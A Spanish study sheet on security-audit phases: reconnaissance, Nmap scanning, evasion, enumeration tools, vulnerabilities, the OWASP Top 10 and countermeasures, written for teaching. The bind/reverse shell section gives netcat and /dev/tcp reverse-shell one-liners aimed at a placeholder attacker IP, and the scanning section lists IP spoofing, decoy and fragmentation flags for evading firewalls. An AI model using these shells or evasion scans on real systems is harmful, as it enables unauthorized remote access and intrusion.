Proceso Detallado de Auditoría de Seguridad: Fases y Técnicas Esenciales
Enviado por Chuletator online y clasificado en Informática y Telecomunicaciones
Escrito el en español con un tamaño de 24,42 KB
Fases de Auditoría de Seguridad
- Establecimiento de condiciones (ROE - Rules of Engagement): Definición del alcance, objetivos y limitaciones de la auditoría.
- Reconocimiento (Pasivo y Activo): Recopilación de información sobre el objetivo.
- Escaneo y Enumeración de Vulnerabilidades (Manual o Automática): Identificación de sistemas activos, puertos abiertos, servicios y posibles debilidades.
- Explotación de Vulnerabilidades: Intento de aprovechar las vulnerabilidades encontradas (incluye escalada de privilegios, pivoting y post-explotación).
- Eliminación de Pruebas: Borrado de logs y artefactos generados durante la auditoría (según lo acordado en el ROE).
- Reporting y Conclusiones: Documentación detallada de los hallazgos, riesgos y recomendaciones.
2. Reconocimiento
Fase inicial crucial para recopilar información sobre el objetivo.
Técnicas de Reconocimiento
- Footprinting: Recopilación de información inicial.
- Pasivo: Información pública, sin interacción directa.
- Activo: Interacción con sistemas del objetivo.
- Información buscada: Rangos de IPs, servidores DNS, cuentas de usuario, emails, tecnologías usadas, etc.
- Escaneo: Identificación de IPs activas y equipos en la red.
- Enumeración: Descubrimiento detallado de puertos y servicios, usuarios, recursos compartidos, versiones de software y posibles vulnerabilidades asociadas.
Reconocimiento Pasivo (Información Pública)
Se obtiene información sin interactuar directamente con los sistemas del objetivo.
- Fuentes: Localización física, página web corporativa, perfiles en redes profesionales (LinkedIn), información de contactos y eventos públicos.
- Herramientas y Comandos:
- Comando
whois [dominio.com]
o consulta en webs como dominios.es. - Comando
nslookup
para consultas DNS. - DNSdumpster: Herramienta online para exploración DNS.
- Shodan.io: Buscador de dispositivos conectados a Internet.
- Búsqueda de fugas de datos (ej., cuentas de email de empresas como Adobe en brechas pasadas).
- Phonebook.cz: Recopilación de URLs y dominios.
- Hunter.io: Búsqueda de direcciones de email asociadas a un dominio.
- VerifyEmailAddress.org: Verificación de existencia de emails.
- Comando
Reconocimiento Activo
Implica interacción directa con los sistemas o personal del objetivo.
- Acceso físico a instalaciones.
- Conexión a servicios expuestos (HTTP, FTP, etc.).
- Ingeniería social (phishing, vishing, etc.).
- Uso de herramientas como Wappalyzer para identificar tecnologías web.
- Comandos de red como
ping
otraceroute
.
3. Escaneo y Enumeración
Identificación activa de sistemas, servicios y vulnerabilidades.
Descubrimiento de Hosts (Ping Sweep)
Se utilizan diversas técnicas para determinar qué hosts están activos en la red.
- Sniffer: Si ya se tiene acceso a la red interna (ej., Wireshark).
- Escaneo ARP:
- Requiere estar en la misma subred que el objetivo (no funciona bien a través de routers).
- Comando Nmap:
nmap -PR -sn [target]
(-PR
para ARP Ping,-sn
para deshabilitar escaneo de puertos). - Funcionamiento: Se envía una solicitud ARP (ARP Request) y si el host está activo, responde con una respuesta ARP (ARP Reply).
- Escaneo ICMP Echo Request (Ping):
- Comando Nmap:
nmap -PE -sn [target]
. - Funcionamiento: Se envía un ICMP Echo Request y si el host está activo, devuelve un ICMP Echo Reply.
- Comando Nmap:
- Escaneo ICMP Timestamp Request:
- Comando Nmap:
nmap -PP -sn [target]
. - Funcionamiento: Se envía un ICMP Timestamp Request y si el host está activo, devuelve un ICMP Timestamp Reply.
- Comando Nmap:
- Escaneo ICMP Address Mask Request:
- Comando Nmap:
nmap -PM -sn [target]
. - Funcionamiento: Se envía un ICMP Address Mask Request y si el host está activo, devuelve un ICMP Address Mask Reply.
- Comando Nmap:
- Nota: Si ninguna de estas técnicas ICMP recibe respuesta, es probable que el host esté apagado o filtrando estos paquetes.
- Escaneo TCP SYN Ping:
- Comando Nmap:
nmap -PS[portlist] -sn [target]
(por defecto puerto 80). - Funcionamiento (Handshake incompleto): Enviamos SYN -> Recibimos SYN/ACK (si puerto abierto) o RST (si cerrado) -> Enviamos RST. Detecta el host si hay respuesta.
- Comando Nmap:
- Escaneo TCP ACK Ping:
- Comando Nmap:
nmap -PA[portlist] -sn [target]
(por defecto puerto 80). - Funcionamiento: Enviamos ACK -> Recibimos RST (si el host está activo).
- Utilidad: Sirve principalmente para detectar hosts activos, especialmente detrás de firewalls que bloquean ICMP o SYN, pero no informa sobre el estado de los puertos.
- Comando Nmap:
- Escaneo UDP Ping:
- Comando Nmap:
nmap -PU[portlist] -sn [target]
(por defecto puerto 40125). - Funcionamiento: Enviamos paquete UDP.
- Interpretación:
- Sin respuesta: Puede significar que el host está encendido y el puerto UDP está abierto, o que el host está apagado, o que la respuesta se perdió.
- ICMP Destination Unreachable (Port Unreachable): Indica que el host está encendido pero el puerto UDP está cerrado.
- Comando Nmap:
Escaneo de Puertos con Nmap
Una vez descubiertos los hosts, se escanean para identificar puertos abiertos y los servicios asociados.
Estados de los Puertos en Nmap
- Open: El puerto está abierto y aceptando conexiones TCP o paquetes UDP.
- Closed: El puerto está accesible (responde a las sondas), pero no hay ninguna aplicación escuchando en él.
- Filtered: Nmap no puede determinar si el puerto está abierto porque un firewall, filtro u otro obstáculo de red está bloqueando las sondas.
- Unfiltered: El puerto es accesible, pero Nmap no puede determinar si está abierto o cerrado (solo ocurre con el escaneo ACK -sA).
- Open|Filtered: Nmap no puede determinar si el puerto está abierto o filtrado (típico en escaneos UDP, IP, FIN, Null, Xmas).
- Closed|Filtered: Nmap no puede determinar si el puerto está cerrado o filtrado (solo ocurre con el escaneo IP ID idle scan -sI).
Técnicas de Escaneo de Puertos
- TCP Connect Scan (
-sT
):- Comando Nmap:
nmap -sT [target]
. - Funcionamiento: Completa el handshake TCP de 3 vías (SYN -> SYN/ACK -> ACK), luego cierra la conexión (RST/ACK).
- Ventaja: No requiere privilegios especiales.
- Desventaja: Es fácilmente detectable y deja logs.
- Comando Nmap:
- TCP SYN Scan (Half-open Scan) (
-sS
):- Comando Nmap:
nmap -sS [target]
(requiere privilegios de root). - Funcionamiento: Envía SYN -> Recibe SYN/ACK (puerto abierto) o RST (puerto cerrado) -> Envía RST (en lugar de ACK si recibe SYN/ACK).
- Ventaja: Más sigiloso que -sT, ya que no completa la conexión. Es el escaneo por defecto con privilegios.
- Desventaja: Requiere privilegios de root/administrador.
- Comando Nmap:
Escaneos Sigilosos (Stealth Scans - Para evadir Firewalls/IDS)
Estos escaneos aprovechan particularidades del estándar RFC 793 de TCP.
- TCP Null Scan (
-sN
):- Comando Nmap:
nmap -sN [target]
. - Funcionamiento: Envía un paquete TCP sin flags activados.
- Interpretación: Sin respuesta indica puerto abierto o filtrado. RST/ACK indica puerto cerrado.
- Comando Nmap:
- TCP FIN Scan (
-sF
):- Comando Nmap:
nmap -sF [target]
. - Funcionamiento: Envía un paquete TCP solo con el flag FIN activado.
- Interpretación: Sin respuesta indica puerto abierto o filtrado. RST/ACK indica puerto cerrado.
- Comando Nmap:
- TCP Xmas Scan (
-sX
):- Comando Nmap:
nmap -sX [target]
. - Funcionamiento: Envía un paquete TCP con los flags FIN, PSH y URG activados.
- Interpretación: Sin respuesta indica puerto abierto o filtrado. RST/ACK indica puerto cerrado.
- Comando Nmap:
- Nota: Estos escaneos (Null, FIN, Xmas) no funcionan contra sistemas Windows.
- UDP Scan (
-sU
):- Comando Nmap:
nmap -sU [target]
. - Funcionamiento: Envía un paquete UDP a cada puerto objetivo.
- Interpretación:
- Sin respuesta: Puerto abierto o filtrado.
- ICMP Destination Unreachable (Port Unreachable): Puerto cerrado.
- Otra respuesta ICMP Unreachable: Puerto filtrado.
- Respuesta UDP: Puerto abierto.
- Desventaja: Lento y a veces poco fiable debido a la naturaleza sin conexión de UDP.
- Comando Nmap:
Técnicas de Evasión de Firewalls/IDS
- Spoofing de IP Fuente (
-S
):- Comando:
nmap -S [spoofed_ip] [target_ip]
. - Descripción: Falsifica la IP de origen. La respuesta irá a la IP falsificada, por lo que se necesita poder interceptar ese tráfico (ej., sniffer entre la máquina objetivo y la IP falsificada) para que sea útil.
- Comando:
- Decoys (
-D
):- Comando:
nmap -D decoy1,decoy2,ME,decoy3 [target_ip]
. - Descripción: Mezcla el tráfico real del escaneo con tráfico señuelo desde IPs falsas (decoys), haciendo más difícil identificar la IP real del atacante. 'ME' indica la posición de la IP real.
- Comando:
- Fragmentación de Paquetes (
-f
,--mtu
):- Comando:
nmap -f [target]
(fragmenta en 8 bytes o menos),nmap --mtu 16 [target]
(fragmenta en múltiplos de 16 bytes). - Descripción: Divide las sondas TCP/UDP en paquetes IP más pequeños, lo que puede evadir filtros de paquetes simples.
- Comando:
- Otras técnicas: Escaneo de puertos de forma aleatoria (
--randomize-hosts
), modificación de la velocidad de escaneo (-T0
a-T5
,--max-rate
), escaneo Idle/Zombie (-sI [zombie_host]
, requiere un host zombie con IP ID predecible).
Identificación de Servicios y Versiones
- Comando Nmap:
nmap -sV [target]
(Intenta determinar la versión del servicio que se ejecuta en cada puerto abierto). - Combinado con escaneo SYN y UDP:
nmap -sS -sV [target]
,nmap -sU -sV [target]
. - Especificar puertos:
nmap -sUV -p 53,161 [target_ip]
. -A
: Opción agresiva que habilita detección de OS, versiones, script scanning y traceroute.
Identificación del Sistema Operativo (OS Fingerprinting)
- Comando Nmap:
nmap -O [target]
(Requiere al menos un puerto abierto y uno cerrado). - Otras pistas: Banners de servicios (Telnet, SSH, HTTP), valores TTL (Time To Live) en las respuestas de red.
Enumeración de Recursos, Directorios y Usuarios
- Recursos Compartidos y Directorios:
- SMB/CIFS (Windows/Samba en Linux):
smbmap
: Para enumerar recursos compartidos y permisos.smbclient
: Para interactuar con los recursos compartidos.
- SMB/CIFS (Windows/Samba en Linux):
- Usuarios:
- Active Directory: Herramientas como
CrackMapExec
. - Servicios (FTP, SSH, etc.): Ataques de fuerza bruta con herramientas como
Hydra
.
- Active Directory: Herramientas como
- Páginas Web:
Gobuster
,Dirb
,Dirbuster
: Para descubrir subdominios, directorios y archivos ocultos mediante fuerza bruta de diccionarios.
Herramientas Automáticas de Escaneo de Vulnerabilidades
- OpenVAS / GVM: Escáner de vulnerabilidades de código abierto.
- Nessus: Escáner de vulnerabilidades comercial (con versión gratuita limitada).
- Metasploit Framework: Plataforma para desarrollar, probar y ejecutar exploits. Incluye módulos auxiliares para escaneo y enumeración.
- Pspy: Monitoriza procesos en sistemas Linux para detectar actividades sospechosas (útil en post-explotación).
- Burp Suite: Proxy de intercepción y suite de herramientas para auditoría de aplicaciones web.
- OSINT Framework / Herramientas específicas: Wappalyzer, Gobuster, etc., mencionadas anteriormente.
Contramedidas para Reconocimiento y Escaneo
- Control de la Información Pública: Minimizar la exposición de datos sensibles en fuentes públicas.
- Prevención de Ingeniería Social: Formación y concienciación del personal.
- Monitorización de Red: Uso de Sistemas de Detección de Intrusos (IDS) y Sistemas de Prevención de Intrusos (IPS).
- Filtrado de Paquetes: Configuración adecuada de firewalls (ej., filtrar mensajes ICMP innecesarios).
- Reacción Automática ante Escaneos: Herramientas como `portsentry` o configuraciones de IPS para bloquear IPs que realizan escaneos agresivos.
- Honeypots: Sistemas señuelo diseñados para atraer y detectar atacantes.
- Control de la Red Interna: Gestión adecuada de equipos, servicios activos y cuentas de usuario.
4. Vulnerabilidades y Exploits
(Nota: Las vulnerabilidades casi siempre se originan por errores humanos en diseño, implementación, configuración o uso).
- Vulnerabilidad: Error o debilidad en un sistema (software, hardware, configuración) que puede ser explotada para comprometer su seguridad (confidencialidad, integridad o disponibilidad).
- Exploit: Código, secuencia de comandos o técnica que aprovecha una vulnerabilidad específica para realizar una acción no autorizada en un sistema comprometido.
Tipos de Vulnerabilidades Comunes
- Errores en el Sistema Operativo (SO).
- Errores de configuración (servicios, permisos).
- Credenciales débiles o por defecto.
- Vulnerabilidades en aplicaciones (web, de escritorio).
- Debilidades en el hardware.
- Factor humano (ingeniería social, errores de usuario).
Calificación y Priorización de Vulnerabilidades
- CVSS (Common Vulnerability Scoring System): Estándar abierto para asignar una puntuación numérica a la severidad de las vulnerabilidades.
- CVE (Common Vulnerabilities and Exposures): Base de datos pública de vulnerabilidades de seguridad conocidas, cada una con un identificador único (CVE-ID).
- Exploit-DB: Archivo público de exploits y pruebas de concepto (PoC).
searchsploit
es la versión offline para línea de comandos.
Ciclo de Vida de las Vulnerabilidades
- Lanzamiento del producto/software (Release).
- Descubrimiento de la vulnerabilidad (puede ser público o privado; si es privado y explotado antes de conocerse públicamente, se llama 0-day exploit).
- Creación de exploits (a menudo comienza con una Prueba de Concepto - PoC).
- Desarrollo y publicación de parches por parte del fabricante.
- Publicación de la vulnerabilidad (CVE), el exploit y el parche.
Bind Shell vs Reverse Shell
Ambas permiten ejecutar comandos en la máquina víctima después de una explotación exitosa.
- Bind Shell: El proceso malicioso en la máquina víctima abre un puerto y escucha conexiones entrantes. El atacante se conecta a ese puerto. Suele ser bloqueado por firewalls en la red de la víctima. (Ej. víctima:
nc -lvp 4444 -e /bin/bash
; atacante:nc [ip_victima] 4444
). - Reverse Shell: El proceso malicioso en la máquina víctima inicia una conexión hacia la máquina del atacante, que está escuchando en un puerto específico. Es más probable que funcione, ya que el tráfico saliente suele estar menos restringido por los firewalls. (Ej. atacante:
nc -nlvp 4444
; víctima:bash -c 'bash -i >& /dev/tcp/[ip_atacante]/4444 0>&1'
). - Conclusión: La reverse shell es generalmente preferida en escenarios de pentesting.
Contramedidas Generales contra Vulnerabilidades
- Minimizar la Superficie de Ataque: Reducir la cantidad de software, puertos y servicios expuestos. Deshabilitar lo innecesario.
- Maximizar el Vector de Ataque (Coste para el Atacante): Implementar múltiples capas de seguridad (defensa en profundidad).
- Gestión de Parches: Mantener el sistema operativo y las aplicaciones actualizadas regularmente.
- Auditorías de Seguridad Periódicas: Realizar escaneos de vulnerabilidades y pentesting para detectar debilidades proactivamente.
- Control de Acceso Estricto: Principio de mínimo privilegio, autenticación robusta.
- Segmentación de Red: Aislar redes críticas para limitar el impacto de una brecha.
Conceptos Clave de Protocolos
DNS (Domain Name System)
Sistema para resolver nombres de dominio legibles por humanos a direcciones IP.
- Registros comunes:
A
: Mapea un nombre de host a una dirección IPv4.AAAA
: Mapea un nombre de host a una dirección IPv6.CNAME
(Canonical Name): Alias de un nombre de host a otro.MX
(Mail Exchanger): Especifica los servidores de correo para un dominio.
HTTPS (Hypertext Transfer Protocol Secure)
Versión segura de HTTP, utiliza TLS/SSL para cifrar la comunicación.
- Componentes clave: Encabezados (Headers) y Cookies (para gestión de estado y sesión).
- Cifrado: Protege la confidencialidad e integridad de los datos en tránsito.
- Métodos HTTP comunes:
GET
,POST
,PUT
,DELETE
,OPTIONS
,HEAD
, etc. - Códigos de Estado HTTP:
- 1xx (Informational): Respuestas informativas (ej., 100 Continue).
- 2xx (Success): Éxito (ej., 200 OK, 201 Created).
- 3xx (Redirection): Redirección (ej., 301 Moved Permanently, 302 Found).
- 4xx (Client Error): Error del cliente (ej., 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found).
- 5xx (Server Error): Error del servidor (ej., 500 Internal Server Error, 503 Service Unavailable).
Vulnerabilidades Web: OWASP Top 10
La web es uno de los principales vectores de ataque. OWASP (Open Web Application Security Project) publica una lista de los riesgos de seguridad más críticos en aplicaciones web.
(Basado en OWASP Top 10 - 2021)
- A01: Broken Access Control (Pérdida de Control de Acceso):
Permitir a los usuarios acceder a recursos o realizar acciones fuera de sus permisos previstos. Se rompe la autorización a nivel de funcionalidad o datos. - A02: Cryptographic Failures (Fallos Criptográficos):
Mal uso, implementación débil o ausencia de criptografía para proteger datos sensibles, tanto en tránsito (comunicaciones) como en reposo (almacenamiento, ej., bases de datos comowebapp.db
en texto claro). - A03: Injection (Inyección):
Permitir que datos no confiables proporcionados por el usuario sean interpretados y ejecutados como parte de un comando o consulta (ej., SQL Injection, NoSQL Injection, OS Command Injection, Cross-Site Scripting - XSS). Ocurre por falta de validación y sanitización de entradas. Ejemplo:echo "mi usuario es $(whoami)"
si la entrada del usuario se inserta directamente en un comando del sistema. - A04: Insecure Design (Diseño Inseguro):
Deficiencias fundamentales en la arquitectura y diseño de seguridad de la aplicación. No se trata de una mala implementación, sino de una concepción errónea desde el inicio que carece de controles de seguridad adecuados. - A05: Security Misconfiguration (Configuración de Seguridad Incorrecta):
Configuraciones inseguras a nivel de plataforma, framework, servidor web, base de datos o aplicación. Incluye permisos incorrectos, servicios innecesarios habilitados, cuentas por defecto no cambiadas, mensajes de error demasiado reveladores, falta de cabeceras de seguridad HTTP. - A06: Vulnerable and Outdated Components (Componentes Vulnerables y Desactualizados):
Uso de librerías, frameworks u otros componentes de software con vulnerabilidades conocidas debido a versiones antiguas o sin parches. - A07: Identification and Authentication Failures (Fallos de Identificación y Autenticación):
Funciones relacionadas con la identidad del usuario, autenticación y gestión de sesiones implementadas incorrectamente, permitiendo ataques como fuerza bruta, uso de credenciales débiles o robadas, manipulación de cookies de sesión (Cookie tampering). - A08: Software and Data Integrity Failures (Fallos de Integridad de Software y Datos):
Código e infraestructura que no protegen contra violaciones de integridad. Incluye la falta de verificación de actualizaciones de software (ej., mediante hash de librerías) o la deserialización insegura de datos. Ataques relacionados con JSON Web Tokens (JWT) también pueden caer aquí. - A09: Security Logging and Monitoring Failures (Fallos de Registro y Monitorización de Seguridad):
Registro insuficiente de eventos de seguridad, alertas ineficaces o ausencia de monitorización activa, lo que dificulta la detección, análisis y respuesta a incidentes. Incluye no generar logs, no guardar logs suficientes o no analizarlos. - A10: Server-Side Request Forgery (SSRF):
Permitir a un atacante forzar a una aplicación web del lado del servidor a enviar solicitudes HTTP a un destino arbitrario elegido por el atacante. Puede usarse para escanear redes internas, acceder a servicios locales o interactuar con APIs internas.
Contramedidas para Seguridad Web
- Concienciación sobre Vulnerabilidades: Entender los riesgos comunes (como OWASP Top 10).
- Desarrollo Seguro: Aplicar prácticas de codificación segura, validación de entradas, sanitización de salidas, uso correcto de criptografía.
- Actualización Constante: Mantenerse al día sobre nuevas vulnerabilidades, parches y mejores prácticas.
- Auditorías Regulares: Realizar análisis de seguridad estáticos (SAST), dinámicos (DAST) e interactivos (IAST), así como pentesting manual.
- Configuración Segura: Hardening de servidores y aplicaciones.
- Monitorización y Logging: Implementar un sistema robusto de registro y alerta.